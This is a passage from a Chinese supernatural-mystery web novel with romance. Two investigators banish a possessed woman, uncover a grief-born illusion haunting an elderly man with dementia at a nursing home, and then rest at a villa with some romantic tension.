“我是gay。” 这个答案显然超出了胡文月的认知范围。 她脸上的扭曲和诡异瞬间被一种极度的震惊所取代。 趁着胡文月因为这个意想不到的森*晚*整*理理由而愣神的刹那—— 宿珩抓住机会! 他猛地抬手,手中的钢管带着破风之声,没有丝毫犹豫,对准胡文月那张惊诧的脸,狠狠地刺了出去。 钢管尖端锋利的刃口,精准地捅穿了胡文月的脖子。 然而,并没有预想中的鲜血喷溅。 一股浓郁的,带着腥臭味的黑色雾气,从她被刺穿的伤口处疯狂地涌了出来。 胡文月发出一声凄厉的嘶吼,双手捂住自己的脖子,身体猛地向后退了几步。 她的喉咙里发出破风箱一样的难听声音,身体开始剧烈地颤抖和扭曲。 她的形态也在发生诡异的变化。 原本清晰的身体轮廓变得模糊,像一团若隐若现的雾气,随时可能消散。 她的脸变得更加狰狞,那双漆黑的眼睛里充满了怨毒和不甘。 “别等了!” 宿珩猛地扭头,对着护工房紧闭的房门大喊一声。 几乎就在他喊出声的同时。 “砰”的一声巨响! 护工房的房门被人从外面猛地推开。 肖靳言高大的身影闪身而入,反手将门重重锁死。 他手中那柄通体漆黑的短刀在昏暗的光线下闪烁着摄人的寒光。 肖靳言没有丝毫停顿,身形如电,闪电般冲向正在异化的胡文月。 短刀带着凌厉无匹的气势,死死地钉住了胡文月的眉心。 “啊——” 胡文月发出一声更加凄厉、更加扭曲的尖叫。 那声音充满了极度的痛苦和绝望,震得宿珩和肖靳言的耳朵都生疼。 大量的黑色雾气,从她的眼耳口鼻中疯狂地逸散出来,在空中扭曲挣扎。 肖靳言没有半分心软,他手腕拧转,干净利落,接着猛地一抽短刀。 “噗通。” 胡文月异化后的身体软软地倒在地上,瞬间化作一股浓郁的黑气,在空气中迅速消散得无影无踪。 房间里那股浓重的腥臭味也随之淡去。 肖靳言收回短刀,刀身上没有沾染一丝污迹。 他转过身,看向宿珩,“按照老根儿的说法,她明天早上还会复活。” 宿珩语气带着一丝凝重,“所以这次冒险,先除掉她的机会并不多得。” 他将钢管放回原位,继续说:“今晚是我们最后的机会。” 肖靳言对此不置可否。 他深邃的目光落在宿珩身上,忽然开口,语气带着一丝不易察觉的玩味。 “你刚刚说的是真的?” 宿珩微微一愣,有些疑惑地看着他。 肖靳言没有说话,只是无声地用口型比出了一个词:“gay。” 宿珩瞬间反应过来,耳尖微微泛红,但脸上却保持着平静。 他坦然地点了点头,承认道:“嗯。” 然后,他学着肖靳言之前调侃自己的语气,淡淡地补了一句:“我是gay,我骄傲了吗?” 说完,宿珩没有再看肖靳言,径直朝着护工房门口走去。 肖靳言看着他离去的背影,那双黑沉的眸子在昏暗的光线下,闪烁着一种近似愉悦的光芒。 他低低地笑了起来。 笑声在安静的房间里回荡,带着一种心满意足的意味。 第58章 第 58 章 福山疗养院14 胡文月的突然失踪, 在疗养院里掀起了不小的波澜。 杨桂芬从下午开始就坐立不安,魂不守舍。 她在院子里,楼道里来来回回地踱步, 嘴里翻来覆去地念叨:“文月呢?我家文月哪儿去了?这孩子,一向最乖,怎么说不见就不见了?” 她逢人就问, 脸上那标志性的笑容也消失了,只剩下满脸的焦灼和一丝怎么也藏不住的恐慌。 就连刘晓花,即便昨晚被肖靳言吓破了胆, 但也壮着胆子, 顶着一张有些发青的脸, 走到一楼护工房门口。 房间内,肖靳言正在慢条斯理地磨刀。 旁边宿珩抱着胳膊, 闭目养神,一副生人勿近的模样。 刘晓花看见那把刀刃上寒光流转,下意识地瑟缩了一下,但还是硬着头皮问道:“你……你有没有看见胡文月啊?杨阿婆找她一上午了, 急得不行。” 肖靳言磨刀的动作顿也未顿, 眼皮都懒得抬一下. “没见过。” 磨刀声稍歇, 他才慢悠悠地开口:“说不定是有什么急事, 提前走了吧。” 这话声音不大,却刚好被走到这边寻找女儿的杨桂芬听了个正着。 杨桂芬的脸色“唰”地一下就变了。 她几步冲到护工房门口, 情绪激动地大声反驳:“不可能!文月绝对不可能丢下我,一声招呼都不打就走的!她不是那样的孩子, 她最孝顺我了!” 她的声音尖锐,带着一丝歇斯底里,眼圈也有些泛红。 胡文庭不知何时也跟了下来, 他连忙上前扶住情绪激动的杨桂芬,柔声安慰道: “妈,您别急,妹妹肯定不会无缘无故离开的,我们再仔细找找。” 杨桂芬却像是听不进劝。 她狠狠瞪了肖靳言一眼,嘴里依旧嘟嘟囔囔地抱怨着“我女儿最孝顺了,不可能的,绝对不可能”,被胡文庭半搀半扶着回到了楼上。 疗养院的空气,因为胡文月的失踪,变得更加压抑。 很快又到了傍晚时分。 宋倩在后厨忙碌着。 她今天在角落里翻找出半袋落了灰的米,闻了闻,似乎还能吃。 又从那个散发着寒气的旧冰柜里,艰难地拖出两只冻得硬邦邦的鸡。 一番忙碌,简陋的食堂里再次飘起了鸡汤的香味,只是这次还多了米饭的香气。 宿珩和肖靳言、徐林致、宋倩四人默默吃着饭。 饭后,宿珩照例盛了一碗鸡汤,里面特意多放了几块鸡肉和一小碗米饭,端着走向二楼。 他来到203病房门口,轻轻敲了敲门。 门很快开了一条缝。 老根儿那张布满污垢的脸露了出来。 看见是宿珩,他眼中的警惕和恐惧明显少了几分,什么话也没说,只默默地伸出干瘦的手,接过了碗。 老根儿饿坏了,接过碗便狼吞虎咽,片刻功夫就把饭和汤扒拉得精光,连碗底都用舌头舔干净了。 放下碗,老根儿抹了抹嘴,忽然抬起头,紧张地朝着隔壁202病房的方向看了一眼。 然后压低了声音,对宿珩飞快地说道:“那间房……那间房里,一直以来……其实只住着一个人。” 宿珩闻言,眉头微微蹙起:“什么意思?” 老根儿张了张嘴,正想再说些什么,浑浊的眼睛却猛地瞥向走廊尽头。 只见胡文庭不知何时,悄无声息地站在了那里,像个没有实体的幽灵。 他脸上依旧是那副温和有礼的表情,眼神却幽幽地看着这边。 老根儿像是见了猫的老鼠,吓得猛地一缩脖子,什么话都不敢再说了,慌忙缩回了房间,“砰”的一声关上了门。 胡文庭对着宿珩微微点了点头,什么也没说,转身走进了202病房,门在他身后轻轻合上。 宿珩站在原地,目光深沉,仔细琢磨着老根儿那句没头没尾的话。 “只住着一个人……” 就在他思索之际,脚下的门缝里,忽然有什么东西被悄悄地塞了出来。 宿珩低头,看到一张发黄的、折叠起来的纸片。 他弯腰捡起,展开。 那是一张老旧的四寸照片。 照片上,是杨桂芬一家四口。 背景似乎就是这座疗养院的院子。 在那些生锈的健身器材前,胡旺祖坐在轮椅上,那时的他还没系上口水巾,他看着镜头,脸上带着一丝略显勉强的笑容。 他的左边,站着一个穿着碎花连衣裙的年轻女人,右边则是一个穿着白衬衫的年轻男人,两人亲昵地依偎在他身旁。 而杨桂芬,则站在胡旺祖的身后,双手搭在他的肩膀上,笑得一脸幸福。 尽管一家人笑容满面,但这照片却弥漫着一种难以言喻的怪诞与拙劣。 除了中间坐着的胡旺祖,照片上的杨桂芬,以及那一对年轻男女,都显得有些模糊和失真,边缘甚至带着粗糙的裁剪痕迹。 他们的表情也十分僵硬,笑容凝固,像是硬生生P上去的,与胡旺祖的画风格格不入。 尤其是杨桂芬,她的头像是直接安在了另一个人的身体上,比例都有些失调,脖子连接处还有明显的色差。 这P图技术,拙劣到令人发笑,却又让人心头发寒。 这张全家福的主角,从始至终,只有胡旺祖一个人。 其他三人,都是被用这种粗糙的手法,硬生生“团圆”在了他身边。 如此做的原因,只有一种。 那就是,这四个人中,早已只剩下了胡旺祖孤零零的一个人。 宿珩拿着照片的手指微微收紧。 一个念头骤然闪过,大胆得足以推翻他之前所有的判断。 如果这张照片才是“真实”的…… 如果老根儿说的是真话,202病房一直以来只住着一个人…… 那么,他之前关于杨桂芬因为绝望而产生心门的推测,恐怕……全都错了! 这扇心门的主人,或许根本不是杨桂芬。 而是——胡旺祖! 宿珩猛然想起胡旺祖那老年痴呆的症状,时而清醒,时而糊涂。 七年前,儿女不再来看望他们之后,陪在他身边的,或许只剩下了那个整天念叨着儿女孝顺的杨桂芬。 久而久之,当初感到被抛弃、被遗忘的,不止是杨桂芬,或许还有他。 而等到那个总念叨着儿女的杨桂芬,或许是因为疾病,或许是因为其他,先一步离世后呢? 胡旺祖会不会凭借着日益衰退的记忆,凭借着对老伴的思念和对孤独的恐惧,臆想出了一个依旧陪伴着他、依旧爱着他、念着儿女的老伴? 他真正的绝望,或许并非来自于被儿女抛弃。 而是来自于他正在一点一点地遗忘他生命中最重要的人——他的老伴,他的儿女。 他害怕自己连他们都想不起来,害怕自己彻底迷失在混沌的记忆里,变成一个真正的孤魂野鬼。 所以,他才会在偶尔清醒一点的时候,冒着风险给他们传递线索,比如那张报纸。 因为他潜意识里,也渴望有人能将他从这无边无际的绝望和遗忘中解救出来。 想到这里,宿珩深吸一口气,胸腔中翻涌着复杂的情绪。 他抬头看向202紧闭的房门,眼神变得无比坚定。 他决定赌一把。 他转身,快步走到202病房门前,不再有丝毫犹豫,伸出手,猛地拉开了房门! 然而,没等他看清房间内的景象—— “啪!” 晚七点,准时到来。 整个疗养院,包括他眼前的202病房,所有的灯光在同一瞬间熄灭。 宿珩眼前骤然一黑,陷入了伸手不见五指的浓稠黑暗之中。 他甚至还没来得及反应过来拿出手机—— 一只冰冷干枯,如同枯枝般的手,猛地从门内伸出,紧紧地抓住了他的手腕! …… 腕骨处传来一阵几乎要被捏碎的剧痛。 宿珩喉间溢出一声极轻的闷哼,手腕猛地一翻,试图挣脱那只枯瘦却力道惊人的手。 黑暗中,他甚至能闻到那只手上传来的、属于老人特有的淡淡气味。 以及一丝若有若无的……绝望。 他借力反手一推,门内那股力量显然没料到他反应如此迅速,一个踉跄向后跌去。 几乎在同一瞬间—— 宿珩另一只手已经快如闪电般从口袋里摸出手机,指尖精准地划过屏幕,手电筒的强光倏然亮起。 雪白的光束如同利剑,瞬间将202病房内令人窒息的黑暗撕开一道口子,照亮了房间的一隅。 宿珩的瞳孔微微一缩。 光线下,只见一个干瘦佝偻的身影跌坐在床边的地上,旁边还跌落着一条粗壮的麻绳。 那人……正是胡旺祖。 老人脸上满是受到惊吓后的茫然与未散尽的挣扎,口水顺着嘴角淌下,胸前的口水巾湿了一大片。 整个房间里,除了他,空空如也。 杨桂芬和胡文庭的身影,消失了。 明明就在几分钟前,宿珩还亲眼看着胡文庭走进了这间病房。 现在,他们却像是被这浓稠的黑暗吞噬了一般,凭空蒸发,不见了踪影。 就在这时,楼道里响起一阵略显急促的脚步声,打破了二楼的死寂。 紧接着,肖靳言高大挺拔的身影便出现在了202病房敞开的门口。 他见宿珩过了七点竟然还没从二楼下来,心中那点莫名的烦躁越积越多,终究是按捺不住,急急忙忙地赶了过来。 他一眼就看到了站在门口的宿珩。 肖靳言几步跨进房间,目光锐利地扫过四周。 最后他的视线,落在宿珩被那只手抓过的手腕上,那里已经泛起了一圈清晰的红痕,在他白皙的皮肤上显得格外触目惊心。 他眉头微不可见地蹙了一下,沉声问道:“没事吧?” 宿珩轻轻摇头,“没事。” 肖靳言还想说什么,但看着他微冷的眸光,最终什么都没说。 两人并肩站在门口,目光投向房间内的胡旺祖。 老人狼狈地跌坐在冰冷的地面上。 眼神在极致的迷茫,与痛苦的清醒之间,剧烈地来回切换。 喉咙里发出含糊不清,如同困兽般的呜咽声。 而在他身侧。 那片未被手电筒光芒完全驱散的昏暗光影之中。 杨桂芬和胡文庭的身影竟开始如同水汽一般,扭曲着,若隐若现地浮现出来。 他们的轮廓模糊不清,随着胡旺祖每一次粗重挣扎的呼吸而微微晃动,身体边缘甚至逸散出丝丝缕缕的黑气。 他们的存在,似乎完全被胡旺祖混乱不堪的思绪所牵引、塑造。 宿珩不再犹豫,迈步走了进去。 他走到胡旺祖身边,伸手将老人从地上扶了起来。 胡旺祖的身体很轻,轻得像一捧干枯的稻草,几乎没有什么重量。 宿珩将他安置在床沿坐好,然后伸出手,轻轻摘下了他脖子上那块脏污不堪的口水巾。 口水巾散发着一股难以言喻的酸腐气味。 宿珩却面不改色,缓缓将它展开,手指在布料间摸索片刻,然后轻轻一抖。 “啪嗒。” 一声轻响。 一张被叠得异常整齐,却浸透了口水污渍的旧报纸,从口水巾的夹层中掉了出来,落在地上。 果然在这里。 宿珩弯腰捡起那张报纸。 报纸因为年份久远,又被口水长年累月地浸泡腐蚀,已经变得脆弱不堪,呈现出一种病态的蜡黄色,上面的字迹也大多模糊不清,几乎难以辨认。 但宿珩还是借着手机的光亮,努力辨认着已经褪色的标题。 那是一份七年前11月份的报纸。 标题勉强能看清几个大字: [京州某疗养院附近发生严重车祸,一人当场死亡,一人送医后重伤不治……] 所有的线索,在这一刻,如同一颗颗散落的珍珠,被一根无形的线彻底串联了起来。 七年前的11月。 胡文庭和胡文月在探望完父母离开疗养院后,就在这附近遭遇了惨烈的车祸,兄妹二人双双殒命。 那些被老根儿捡回来,埋藏在菜地里的带血衣物和断腿眼镜,正是他们遇难时留下的遗物。 宿珩的呼吸微微一滞。 知情的人中…… 院长,恐怕正是因为知道了这个足以颠覆一切的真相,所以才会在心门形成的当天,被那股绝望的力量,残忍地吊死在了办公室里。 只为阻止任何人破坏这扇由悲伤和遗忘构筑的心门。 而老根儿,也因为无意中捡回了这些指向真相的关键线索,触动了心门的禁忌,所以才会三番两次地被针对。 甚至在心门的无形操纵下,差点被异化的刘晓花暗中灭口。 病床上的胡旺祖依旧深陷在时而清醒,时而迷茫的痛苦挣扎之中。 他浑浊的眼神一会儿凝聚,一会儿涣散,喉咙里发出含混不清的声响。 而随着他每一次迷茫的加剧,他身旁那两个由他执念所化的身影——杨桂芬和胡文庭,便愈发清晰凝实一分。 他们的面容开始变得扭曲僵硬,眼神也逐渐空洞,嘴角咧开的弧度越来越大,透着一股非人的诡异,身上散发出的黑气也愈发浓郁。 异化的迹象越来越明显,越来越迅速。 显然,胡旺祖内心的迷茫与绝望,正在逐渐占据上风。 一旦他彻底沉沦,这两个怪物恐怕会立刻成形。 宿珩看着眼前在崩溃边缘痛苦挣扎的老人,又看了看手中那张几乎要辨认不清字迹的报纸。 他深吸一口气,从口袋里拿出之前老根儿塞给他的,那张P图痕迹明显的“全家福”照片。 他快步走到胡旺祖面前,将那张承载着虚假团圆的照片,递到老人几乎快要完全失焦的眼前。 声音清晰而坚定,一字一句,如同楔子般凿入胡旺祖混乱的意识: “胡大爷,你看着这张照片。” “这上面的人,才是你记忆中,你真正的家人。” 第59章 第 59 章 福山疗养院(完)…… 胡旺祖艰难地转动着浑浊的眼球。 试图将涣散的目光聚焦在宿珩递过来的那张照片上。 他的嘴唇无声地嗫嚅着, 干裂的皮肤因为轻微的动作而牵扯。 像是在努力回忆着,什么被深埋在岁月尘埃下的,久远片段。 “旺祖啊!” 旁边愈发凝实的阴影里, 杨桂芬虚幻的手猛地伸出,带着一股阴冷的风,似乎想要抓住胡旺祖。 “我是桂芬啊!你不记得我了吗?” 她的声音陡然拔高, 充满了不甘和恐慌。 胡文庭扭曲的脸庞也凑了过来,眼神怨毒而急切:“爸!我才是文庭啊!你真的要把我忘了吗?” 被这两道声音夹击,胡旺祖本就混乱的思绪, 刹那间更加混沌。 他猛地伸出枯瘦的手, 一把夺过宿珩手中的照片, 紧紧攥着那张薄薄的纸片。 浑浊的目光,在虚幻的杨桂芬和胡文庭脸上, 来回扫视,喉咙里发出含糊不清的咕哝。 “文月呢……文月去哪儿了?” 杨桂芬见状,立刻急切地说道,声音带着一丝讨好, “文月她有事出去了, 马上就会回来!” 胡文庭也连忙附和:“是啊爸, 妹妹很快就回来了。” “是吗……”胡旺祖喃喃自语, 眼神中的迷茫愈发浓重,“文月……马上回来……” 迷茫显然重新占据了上风。 他身旁, 杨桂芬和胡文庭的身影肉眼可见地凝实起来。 不再是先前那种飘忽的虚影。 周身缠绕的扭曲黑气也愈发张牙舞爪,散发出令人心悸的恶意。 窸窸窣窣—— 就在这时, 宿珩清晰地听到头顶传来一阵令人头皮发麻的黏腻动静。 像是有什么沉重潮湿的东西,在水泥板上缓慢拖行。 肖靳言几乎在同一时间,从喉间发出一声极轻的冷哼。 他猛地抬起头, 锐利的目光如冰冷的刀锋般,扫向天花板。 盘踞在天花板上的蛇蝎怪物,被他这带着实质性杀气的一瞥,庞大而扭曲的身体顿时瑟缩了一下。 它腹下六只狰狞的触肢不安地躁动着,却明显不敢再有进一步的轻举妄动,只焦躁地在原地打着转。 肖靳言收回目光,视线落在地上那条散落的粗麻绳上。 他不紧不慢地弯腰,捡起了那条绳子,入手是粗糙的触感。 他掂了掂绳子,目光转向胡旺祖。 “胡大爷,你好好想想,真正的家人,会用这种东西把你捆起来吗?” 他顿了顿,语气笃定:“不会。” 这句话像是一把钥匙,猛地撬开了胡旺祖尘封记忆的一角。 老人几乎是立刻抬起了头。 浑浊的眼中闪过一丝剧烈的波动,他下意识地连连摇头。 模糊的记忆碎片在脑海中翻涌—— 他那个胖乎乎,总是笑呵呵的老伴,在他开始控制不住流口水的时候,只会用带着温度的毛巾,一遍遍耐心地帮他擦拭嘴角。 她会慢慢地推着他的轮椅,絮絮叨叨地跟他说着话。 “旺祖啊,你可千万不能忘了我啊……” 那双浑浊的眼睛里,迷茫如同潮水般退去,渐渐凝聚起一点光,变得清明起来。 随着他眼神的变化—— 杨桂芬和胡文庭刚刚才凝实的身影,骤然间虚化了不少。 缠绕在他们身上的浓郁黑气,也如同被阳光驱散的晨雾,迅速收敛变淡,整个身影都变得飘摇不定,仿佛下一秒就要彻底消失。 “旺祖啊!” 杨桂芬虚幻的脸庞上充满了绝望和凄厉,她尖叫着,“你真要把我忘了吗?我是桂芬啊!你看看我!你仔细看看我!” “爸!”胡文庭也声嘶力竭地喊道,“你不能听他们的!他们都是骗你的!我们才是你的家人!” 胡旺祖的身体微微颤抖起来。 清明和迷茫,在他的眼中剧烈地交替。 他痛苦地抓着自己的头发,不知道究竟谁才是真实的,谁又是虚假的幻影。 他再次陷入了巨大的痛苦与挣扎之中。 宿珩看着他备受煎熬的模样,轻轻叹了口气。 他知道,不能再拖下去了。 他拿着那张被口水浸透,字迹模糊的旧报纸。 声音不高,却清晰地在寂静的房间内响起,缓缓读出了上面那个触目惊心的标题: “京州某疗养院附近发生严重车祸,一人当场死亡,一人送医后重伤不治……” 这是最直接,也是最残酷的方式。 将胡旺祖深埋在心底最深处的伤疤,再一次血淋淋地揭开。 宿珩心想。 或许,这才是胡旺祖潜意识里真正渴望的。 他将这张报纸藏在口水巾的夹层里,日夜不离身,不仅仅是为了留存一个念想。 更像是在用这种自残的方式,提醒自己不要彻底沉沦。 在混沌的记忆中,抓住那一丝摇摇欲坠的清醒。 报纸上的每一个字,都像一把烧红的烙铁,狠狠烙在胡旺祖的心上。 他身体剧震,猛然抬起头,眼神中充满了痛苦和贪恋。 他深深地看了一眼身旁那两个正在以肉眼可见的速度消散,面容不甘而扭曲的身影。 最终,他的目光落回自己紧紧攥在手中的,那张“全家福”照片上。 他颤抖着伸出另一只布满老年斑的手。 指尖轻柔地、一遍又一遍地抚摸着照片上那三个模糊而僵硬的笑脸。 他想起来了。 全都想起来了。 这张照片—— 是在他意识到自己的记忆开始变得越来越差,快要记不清很多事情的时候,用还算清醒的片刻,请求院长帮他拍下的单人照。 后来,他又用几乎是哀求的语气,请求院长找人,用那时候还不算普及的P图技术,把他记忆中老伴和一双儿女的模样,笨拙地拼凑在了他的身边。 只为了留下一张虚假的“团圆照”,留下一丝念想。 “啊——桂芬!文庭!文月!” 胡旺祖发出一声压抑许久的悲恸哭喊。 他猛地将那张照片紧紧地按在自己的心口,仿佛要将那薄薄的纸片融入自己的血肉之中。 随着他记忆的彻底清醒和情感的宣泄。 杨桂芬和胡文庭的身影发出一声声充满怨毒和不甘的尖叫。 最终在空气中扭曲了几下,便如同青烟般彻底消散,再无踪迹。 与此同时,盘踞在天花板上的蛇蝎怪物也发出一声凄厉至极的惨叫。 它的身体像是被无形的力量撕扯,迅速融化,最终化作一滩漆黑腥臭的液体,滴落在地,然后慢慢蒸发干净。 房间内那股令人窒息的阴冷和恶意,在这一刻荡然无存。 宿珩和肖靳言对视一眼,都从对方眼中看到了一丝释然。 随着胡旺祖彻底认清现实。 这扇由绝望和遗忘构筑的心门,终于快要走到崩塌的边缘了。 而那张被他紧紧贴在胸口的照片,虽然承载着一个虚假的团圆,却也会变成他回忆家人的全新寄托。 至少,有这张照片在。 他不会再彻底遗忘他们,不会再彻底迷失于无边的孤寂与混沌之中。 …… 两人退出了202病房。 几乎在他们踏出房门的同时,整个疗养院内,之前因心门力量而熄灭的灯光,“啪”的一声,尽数重新亮了起来。 惨白却明亮的灯光驱散了楼道里的昏暗,也驱散了那股萦绕不散的压抑。 与此同时,隔壁201病房里,突然响起宋倩惊喜交加的声音。 “妈,妈你醒了!你终于醒了!” 声音里带着压抑不住的哭腔和如释重负的喜悦。 肖靳言走到201病房门口,抬手敲了敲门。 “谁?”里面传来宋倩带着警惕的询问声。 “是我。” 肖靳言沉声道。 门很快被拉开,宋倩站在门口,眼眶通红,脸上却带着显而易见的激动和喜悦。 见到门外是宿珩和肖靳言,连忙让开身子,声音还有些哽咽:“快,快请进。” 病床上,之前形容枯槁,几乎只剩下一把骨头的宋明丽,此刻肉眼可见地恢复了些生气。 她原本蜡黄干瘪的脸颊,也渐渐透出了一丝微弱的红润。 宋明丽的眼睛缓缓睁开,目光虽然还有些虚弱,却不再是之前的空洞无神。 她看着走进来的宿珩和肖靳言。 这几天她虽然饱受病痛折磨,意识模糊,不能言语。 但偶尔清醒的片刻,也断断续续听女儿宋倩说起过疗养院里发生的诡异事情,以及这两个年轻人的帮助。 她心里明白,是这两个素不相识的小伙子,救了她们母女。 宋明丽挣扎着想要坐起来,被宋倩连忙按住,“妈,您别动,刚醒。” 她喘息了几下,恢复了一点力气,才用有些沙哑却清晰的声音,虚弱地开口:“谢……谢谢你们……” 宿珩摇了摇头,声音平静:“这是我们应该做的。” 他顿了顿,目光转向宋明丽,问出了心中的疑问:“杨桂芬……杨阿婆是什么时候去世的?” 听到这个问题,宋明丽的眼神黯淡了几分,脸上露出一丝复杂的神情,轻轻叹了口气。 “那是一对……可怜的老夫妻。” 她的声音带着几分唏嘘。 “七年前,在我刚进疗养院没多久,他们的那双儿女……就在来看他们的路上,出了车祸,都没了。” “疗养院的人,包括院长,都怕两位老人受不住打击,就一直瞒着他们,没敢说实话。只说儿女工作忙,暂时过不来。” “他们表面上像是相信了……但又有谁会真的相信儿女几年不来看望父母呢?” 宋明丽的视线飘向窗外,像是陷入了久远的回忆。 “后来又过了几年,胡大爷的脑子开始糊涂,确诊了老年痴呆。” “那段日子,全是杨阿婆一个人,尽心尽力地照顾他,喂饭擦身,从没听她抱怨过一句。” “她总说,老头子糊涂了,她得把他看好了。” “可惜啊,好人不长命。” 宋明丽的声音低了下去,带着一丝惋惜。 “大概一年多以前,一场突如其来的疫情,杨阿婆没能挺过去,就那么走了。” “从那以后,胡大爷就彻底成了孤零零的一个人,病情也愈发严重了。” 原来如此。 宿珩心中所有的疑团,在这一刻彻底解开。 这扇心门真正的主人,从始至终,都是那个在孤独和遗忘中苦苦挣扎的胡旺祖。 他的绝望并非源于儿女的“抛弃”,而是源于至亲的相继离世,以及自己逐渐被蚕食的记忆。 他害怕遗忘,所以才在潜意识里构建了这样一个虚假的世界,留住他记忆中的杨桂芬,留住那双“孝顺”的儿女。 宿珩点了点头,对宋明丽说道:“您好好休养身体,我们会处理好后续的事情。” 宋明丽感激地点点头,“谢谢你们。” 宿珩和肖靳言没有再多做打扰,转身离开了201病房,也离开了这栋承载了太多绝望和悲伤的疗养院大楼。 外面,天色已经完全黑透。 但不同于前两个夜晚那种令人心悸的,仿佛能吞噬一切的浓稠黑暗。 此刻的夜空,是正常的深蓝色,甚至能依稀看到几颗黯淡的星子在遥远的天际闪烁。 空气中那股压抑的霉味也消失得无影无踪,取而代之的是雨后初霁般的清新。 两人推开疗养院那扇锈迹斑斑的铁艺大门,重新踏上了外面的水泥路。 几乎在他们走出大门的瞬间。 几个一直等候在路边,穿着社区工作制服的人影立刻迎了上来。 为首的是一个戴着眼镜,神色焦急的中年男人。 “肖处长!宿先生!” 中年男人快步走到两人面前,语气带着几分急切和担忧,“里面的情况……怎么样了?” 肖靳言看了他一眼,语气平淡:“已经解决了。” 他顿了顿,补充道:“里面的几位老人,尤其是胡旺祖,社区这边要多上心,安排妥当。” “是是是,您放心,肖处长!” 中年男人连连点头,额头上渗着细密的汗珠,“我们保证会安排好,一定给老人们最好的照顾,绝不会再出任何岔子!” 肖靳言“嗯”了一声,没再多说什么。 他走到停放在路边的一辆黑色越野车前森*晚*整*理,伸手拉开了副驾驶的车门,示意宿珩:“上车。” 宿珩没有犹豫,弯腰坐了进去。 肖靳言关上副驾车门,绕到驾驶座,启动了车子。 引擎发出一声低沉的轰鸣,越野车平稳地驶入了沉沉的夜色之中。 两人在疗养院里待了将近两天半的时间,身上不免沾染了一些不太好的气味,衣服也有些褶皱。 车子在寂静的街道上行驶着。 肖靳言握着方向盘,目视前方,状似随意地开口: “我在这附近有套房子,一直空着,里面东西都齐。” “要不先过去洗个澡,换身干净衣服,休息一晚,明天我再送你回宿舍?” 宿珩闻言,偏头看了他一眼。 肖靳言嘴角噙着一抹若有似无的笑意,眼神却依旧专注地看着前方的路况。 宿珩想了想,这两天确实没怎么好好休息,身上也的确不太舒服。 他轻轻“嗯”了一声,算是同意了。 第60章 第 60 章 失落的小孩1 黑色越野车在沉静的夜色中平稳行驶, 路灯的光芒间或从车窗掠过,在两人脸上投下明明暗暗的光影。 最终,车子驶入一片临山的别墅区。 四周寂静, 只有偶尔传来的虫鸣。 肖靳言将车子熟练地停入地下车库,然后带着宿珩乘坐内部电梯,径直上了二楼。 宿珩踏出电梯, 不动声色地打量着四周。 别墅内部的装修风格是极致的黑白灰,线条简洁到了刻板的地步。 空间开阔,家具寥寥, 显得有些空旷和冷清, 几乎没什么多余的陈设, 也寻不到太多属于主人的生活痕迹。 墙上甚至连一幅装饰画都没有。 “我不常住这里。” 肖靳言似乎看出了他的打量,随口解释了一句, “所以东西不多,显得空了些。” 他让宿珩在客厅稍等,自己则转身走进一个房间。 片刻后,他拿着一套崭新的纯白色睡衣走了出来, 睡衣是丝质的, 触感柔软。 “新的。” 肖靳言将睡衣递给宿珩, “你先去洗个澡, 把身上这套换下来,我丢洗衣机里, 对了,学校那边我已经找人打好招呼了, 你不用担心。” 宿珩接过睡衣,细腻的布料贴在指尖,很舒适。 他低低地“嗯”了一声, 道了句:“谢谢。” 然后,他抬眸看向肖靳言:“浴室在哪?” 肖靳言指了指走廊尽头的一扇门:“那间客房,里面有独立卫浴。” 宿珩点了点头,没有再多说什么,拿着睡衣径直朝着客房走去。 客房的空间很大,甚至比一些星级酒店的行政套房还要宽敞。 他走进浴室,里面洗漱用品一应俱全,牙刷毛巾都是未拆封的。 宿珩迅速脱掉身上沾染了疗养院气息的衣物,拧开花洒。 温热的水流倾泻而下,冲刷着连日来的疲乏和紧绷。 他闭上眼,任由水珠划过皮肤,试图将脑中那些混乱的画面也一并冲走。 过了约莫二十分钟,浴室的门被拉开。 宿珩擦着湿漉漉的头发走了出来,身上只穿着那套纯白的睡衣,领口微微敞开,露出小片精致的锁骨。 水汽氤氲,衬得他那张本就过分漂亮的脸庞愈发清透,眼尾带着一丝沐浴后的微红,少了平日的清冷,多了几分难得的慵懒。 就在这时,房门被轻轻敲响。 “能进来吗?”肖靳言低沉的声音隔着门板传来。 宿珩走上前,拉开了房门。 肖靳言站在门口,目光落在宿珩刚出浴的模样时,呼吸几不可察地滞了一瞬。 灯光下,宿珩的皮肤白得近乎透明,湿发贴在颊边,有种惊心动魄的美感。 那双深邃的眼眸中,有什么情绪飞快地闪过,但很快便恢复了平时的沉稳。 “要吃点夜宵吗?” 肖靳言开口问道,声音听不出什么异样。 宿珩摇了摇头,擦拭头发的动作未停:“不了,我过了晚饭点就不再吃东西。” 他的目光不经意间落在肖靳言身上,微微一顿。 肖靳言显然也刚洗过澡,身上穿着一套纯黑色的丝质睡衣,款式和自己身上这件纯白的,几乎一模一样,只是颜色不同。 黑色的布料衬得他身形愈发高大挺拔,宽肩窄腰,隐约可见布料下流畅的肌肉线条。 肖靳言见他拒绝,不以为意地耸了耸肩:“那行吧。” 他说着,作势就要走进浴室:“你换下来的衣服呢?我拿去洗。” 浴室的脏衣篓里,宿珩的外衣外裤,连同袜子和内/裤都放在里面。 宿珩脸上露出一丝不自在,连忙道:“我自己来就好。” “随手的事,客气什么。” 肖靳言却不容他拒绝,已经迈步走进了浴室,十分自然地拎起了那个不算大的脏衣篓。 宿珩看着他自然的动作,张了张嘴,最终还是没再说什么,只是垂下了眼睫。 肖靳言拎着脏衣篓,转身离开了客卧,径直下到了一楼的洗衣房。 他将宿珩的外衣和外裤熟练地丢进了滚筒洗衣机。 目光落在脏衣篓最底下,剩下的袜子和……内/裤上。 肖靳言的动作顿了顿。 本来想图省事,一起丢进去。 但脑子里闪过宿珩那张清冷白皙的脸,和干净清透的气质,以他的性格来看,绝对不会容忍这些贴身衣物一起混洗的。 肖靳言只好改变了主意。 他从旁边的架子上取下一个干净的洗衣盆,往里倒了些洗衣液,接了温水。 然后,蹲下身,拿起那双袜子,有些生疏,甚至可以说是笨拙地开始手搓。 他堂堂肖处长,活了二十七年,自己都少有这么细致的时候。 搓着搓着,肖靳言自己都忍不住低低笑了一声。 他心想—— 要是清理办那群爱看热闹的家伙,尤其是闫知许那个大嘴巴,知道他们敬畏的肖处长,不仅要亲自给一个刚入职没多久的新人写总结报告。 现在还升级到主动蹲在这里,给新人手搓贴身衣物,不知道又要在背后炸成什么样,怕是眼珠子都要瞪出来了。 肖靳言耐着性子,仔细地搓洗着。 脑海中却冷不丁地,又回想起在疗养院护工房里,宿珩对着异化的胡文月,用那清清冷冷的调子,说出的那句—— “我是gay。” 肖靳言手上的动作微微一滞。 